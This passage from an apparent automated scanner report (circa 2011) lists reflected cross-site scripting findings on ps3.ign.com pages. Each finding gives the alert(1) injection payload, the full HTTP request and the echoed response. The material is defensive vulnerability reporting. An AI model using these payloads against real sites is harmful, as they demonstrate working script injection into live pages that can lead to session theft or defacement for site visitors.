<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <base target="_top"></bas
...[SNIP]...
mscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://ps3.ign.com/articles/114/1147560p1.html?53b27"-alert(1)-"b64e36bc517=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.369. http://ps3.ign.com/articles/114/1147862c.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ps3.ign.com
Path:	/articles/114/1147862c.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 7f26f"-alert(1)-"ef87d61bb4b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /articles/114/1147862c.html?7f26f"-alert(1)-"ef87d61bb4b=1 HTTP/1.1
Host: ps3.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:57:14 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:57:14 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c05-27365-751710847-1;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:57:14 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043834159v-1n-12mc+1297043834159mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Set-Cookie: JSESSIONID=3ld84jp3oks2l;Path=/includes
Content-Length: 97898

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <base target="_top"></bas
...[SNIP]...
omscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://ps3.ign.com/articles/114/1147862c.html?7f26f"-alert(1)-"ef87d61bb4b=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.370. http://ps3.ign.com/articles/114/1147862c.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ps3.ign.com
Path:	/articles/114/1147862c.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7e9ba"><script>alert(1)</script>9a11bb4b630 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /articles/114/1147862c.html?7e9ba"><script>alert(1)</script>9a11bb4b630=1 HTTP/1.1
Host: ps3.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:57:08 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:57:08 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c09-18740-1385538644-5;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:57:07 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043827985v-1n-12mc+1297043827985mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Set-Cookie: JSESSIONID=2a3o0741i8l7r;Path=/includes
Content-Length: 97792

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<base target="_top"></bas
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://ps3.ign.com/articles/114/1147862c.html?7e9ba"><script>alert(1)</script>9a11bb4b630=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.371. http://ps3.ign.com/articles/114/1147862p1.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ps3.ign.com
Path:	/articles/114/1147862p1.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cb884"><script>alert(1)</script>57959a7b1c8 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /articles/114/1147862p1.html?cb884"><script>alert(1)</script>57959a7b1c8=1 HTTP/1.1
Host: ps3.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:57:12 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:57:12 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c09-18145-1899280704-1;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:57:12 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043832197v-1n-12mc+1297043832197mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 126374

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<base target="_top"></bas
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://ps3.ign.com/articles/114/1147862p1.html?cb884"><script>alert(1)</script>57959a7b1c8=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.372. http://ps3.ign.com/articles/114/1147862p1.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ps3.ign.com
Path:	/articles/114/1147862p1.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f39a5"-alert(1)-"1ede8df9cd4 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /articles/114/1147862p1.html?f39a5"-alert(1)-"1ede8df9cd4=1 HTTP/1.1
Host: ps3.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:57:15 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:57:15 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c05-26185-1802976370-2;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:57:15 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043835404v-1n-12mc+1297043835404mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 124511

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <base target="_top"></bas
...[SNIP]...
mscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://ps3.ign.com/articles/114/1147862p1.html?f39a5"-alert(1)-"1ede8df9cd4=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.373. http://ps3.ign.com/index/features.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ps3.ign.com
Path:	/index/features.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 161f0"><script>alert(1)</script>90925892c2 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index/features.html?161f0"><script>alert(1)</script>90925892c2=1 HTTP/1.1
Host: ps3.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:56:23 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:56:23 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c03-25644-810192823-4;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:56:22 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043782829v-1n-12mc+1297043782829mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 146779

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>Playstation 3 Revi
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://ps3.ign.com/index/features.html?161f0"><script>alert(1)</script>90925892c2=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.374. http://ps3.ign.com/index/features.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ps3.ign.com
Path:	/index/features.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload bcd07"-alert(1)-"0501e30db16 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /index/features.html?bcd07"-alert(1)-"0501e30db16=1 HTTP/1.1
Host: ps3.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:56:27 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:56:27 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c02-25496-61433856-10;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:56:26 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043786986v-1n-12mc+1297043786986mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 147031

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>Playstation 3 Revi
...[SNIP]...
peof _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://ps3.ign.com/index/features.html?bcd07"-alert(1)-"0501e30db16=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.375. http://ps3.ign.com/index/games.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ps3.ign.com
Path:	/index/games.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 45ea3"><script>alert(1)</script>304e9e745b0 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index/games.html?45ea3"><script>alert(1)</script>304e9e745b0=1 HTTP/1.1
Host: ps3.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:56:28 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:56:28 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c09-18145-465812425-5;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:56:27 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043788013v-1n-12mc+1297043788013mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 178624

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>All PlayStation 3
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://ps3.ign.com/index/games.html?45ea3"><script>alert(1)</script>304e9e745b0=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.376. http://ps3.ign.com/index/games.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ps3.ign.com
Path:	/index/games.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a6724"-alert(1)-"678e643bb31 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /index/games.html?a6724"-alert(1)-"678e643bb31=1 HTTP/1.1
Host: ps3.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:56:31 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:56:31 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c09-18740-1092210016-2;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:56:31 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043791415v-1n-12mc+1297043791415mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 178796

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>All PlayStation 3
...[SNIP]...
(typeof _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://ps3.ign.com/index/games.html?a6724"-alert(1)-"678e643bb31=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.377. http://ps3.ign.com/index/images.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ps3.ign.com
Path:	/index/images.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f171f"><script>alert(1)</script>2786daf0d8c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index/images.html?f171f"><script>alert(1)</script>2786daf0d8c=1 HTTP/1.1
Host: ps3.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:56:19 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:56:19 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c03-26296-1110195734-1;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:56:19 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043779072v-1n-12mc+1297043779072mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 120045

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>IGN PS3: Games, Ch
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://ps3.ign.com/index/images.html?f171f"><script>alert(1)</script>2786daf0d8c=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.378. http://ps3.ign.com/index/images.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ps3.ign.com
Path:	/index/images.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 1bb1d"-alert(1)-"46813fa1d0a was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /index/images.html?1bb1d"-alert(1)-"46813fa1d0a=1 HTTP/1.1
Host: ps3.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:56:22 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:56:22 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c08-31833-664742797-7;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:56:21 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043781996v-1n-12mc+1297043781996mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 119773

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>IGN PS3: Games, Ch
...[SNIP]...
typeof _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://ps3.ign.com/index/images.html?1bb1d"-alert(1)-"46813fa1d0a=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.379. http://ps3.ign.com/index/latest-updates.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ps3.ign.com
Path:	/index/latest-updates.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e05f3"><script>alert(1)</script>66263dfc6a1 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index/latest-updates.html?e05f3"><script>alert(1)</script>66263dfc6a1=1 HTTP/1.1
Host: ps3.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:56:19 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:56:19 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c04-12684-135617915-1;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:56:19 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043779067v-1n-12mc+1297043779067mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 141998

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><!-- /* AD from: http://ssa.ign.co
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://ps3.ign.com/index/latest-updates.html?e05f3"><script>alert(1)</script>66263dfc6a1=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.380. http://ps3.ign.com/index/latest-updates.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ps3.ign.com
Path:	/index/latest-updates.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f5299"-alert(1)-"fc6c6089c4e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /index/latest-updates.html?f5299"-alert(1)-"fc6c6089c4e=1 HTTP/1.1
Host: ps3.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:56:22 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:56:22 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c07-32462-1582609481-2;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:56:22 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043782634v-1n-12mc+1297043782634mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 147208

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><!-- /* AD from: http://ssa.ign.co
...[SNIP]...
comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://ps3.ign.com/index/latest-updates.html?f5299"-alert(1)-"fc6c6089c4e=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.381. http://ps3.ign.com/index/latest-updates.html [types parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ps3.ign.com
Path:	/index/latest-updates.html

Issue detail

The value of the types request parameter is copied into an HTML comment. The payload bfcaa--><script>alert(1)</script>6c1abd932ba was submitted in the types parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /index/latest-updates.html?types=allbfcaa--><script>alert(1)</script>6c1abd932ba HTTP/1.1
Host: ps3.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:56:38 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:56:38 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c08-32430-1933548405-5;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:56:38 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043798512v-1n-12mc+1297043798512mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 116252

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><script>alert(1)</script>6c1abd932ba&startDate=20110107&endDate=20110206 -->
...[SNIP]...

3.382. http://ps3.ign.com/index/latest-updates.html [types parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ps3.ign.com
Path:	/index/latest-updates.html

Issue detail

The value of the types request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c816f"><script>alert(1)</script>798af2f97c8 was submitted in the types parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index/latest-updates.html?types=allc816f"><script>alert(1)</script>798af2f97c8 HTTP/1.1
Host: ps3.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:56:32 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:56:32 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c04-12684-2022266330-6;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:56:29 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043789224v-1n-12mc+1297043789224mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 116272

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
